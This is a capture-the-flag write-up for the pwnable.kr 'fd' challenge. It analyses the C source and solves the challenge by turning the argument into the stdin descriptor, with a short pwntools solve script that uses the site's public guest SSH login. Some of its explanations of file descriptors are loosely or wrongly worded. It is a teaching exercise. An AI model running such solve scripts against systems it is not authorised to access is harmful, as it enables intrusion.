# PWNABLE.KR fd writeup
## Challenge Description
```
Mommy! what is a file descriptor in Linux?
ssh fd@pwnable.kr -p2222 (pw:guest)
```
We can see that we are provided with a ssh login and some hints for the challenge.
## Understanding File Descriptors
[File descriptors](https://www.computerhope.com/jargon/f/file-descriptor.htm) is a number that uniquely identifies an open file in a computer Operating System.
In C, file descriptors are represented as integers as follows:
* ```stdin``` is represented with a ```0```
* ```stdout``` is represented as ```1```
* ```stderr``` is represented as ```2```
So basically, when a program asks for an argument when you run it, that is ```stdin```. When it provides an output, then that is ```stdout```. When the program gives back an argument then that is ```stderr```
Lets now look at our challenge by "sshing" into the machine.
we can see that we are provided with 3 files to work with. The binary ```fd```, the source code ```fd.c``` and a flag file ```flag```.
```
fd@pwnable:~$ ls
fd fd.c flag
fd@pwnable:~$
```
Trying to read the flag with ``` cat flag```, we are prompted with ```Permission denied```. On the other hand, runing the fd binary, it asks for a number as an argument. Passing ```1234``` as our argument, we are told ```learn about Linux file IO```. The only option remaining now is to try and analyse the source code, and find what is expected of us.
### code analysis
```c=
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;
}
```
### Breaking down the code
First, we can see ```char buf[32]```. What this does is, it assigns a buffer of 32 chars to the variable ```buf```
```
if(argc<2){
printf("pass argv[1] a number\n");
```
Now, this tries to check if we have passed an argument. If no argument is passed, then we get ```pass argv[1] a number```
```
int fd = atoi( argv[1] ) - 0x1234;
```
We have a variable declared ```fd```, which its value is ```atoi( argv[1] ) - 0x1234```. It takes our argument then subtracts it with the integer value of ```0x1234``` which is equal to ```4660``` when converted.
The ```atoi()``` function stands for Ascii to Integer in C.
It then declares another integer ```len``` assigned a ```0```
```c
int len = 0;
```
Then it takes the value of ```fd``` and puts it into ```buf```
```C
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;
```
We see it then takes ```fd``` and reads our input, and stores it in ```buf```. The if statement, checks if the value of ```buf``` is equal to ```LETMEWIN```. If yes, it prints ```good job :)``` and gives us the flag. Otherwise, it outputs ```learn about Linux file IO```.
## Exploitation
We can start by running the program with an argument and see its behaviour.

we see that we get ```learn about Linux file IO```. This is basically because we didn't get ```fd```. In what we understood about file descriptors, is that we have three basic ones ranging from ```0, 1, 2```.
The rule of fd, is for our argument to subtract 4660. So if we supply the same as our argument, fd will be ```0``` which is the fd representation of standard input in C.

We see after passing 4660 as the argument, we don't get ```learn about Linux file IO```. So we have bypassed the line ```len = read(fd, buf, 32);```
By the state of the program, it looks like it is waiting to be supplied with an input. We could try now and input the string ```LETMEWIN``` to make it execute the if statement.

aaand, we successfully pwned it.
## Using Pwntools
```python=
#!/usr/bin/python3
# author: k0r3s
from pwn import *
shell =ssh('fd','pwnable.kr', password='guest', port=2222)
process = shell.process(executable='./fd', argv=['fd','4660'])
process.sendline('LETMEWIN')
print (process.recv())
```

we just pwned it again.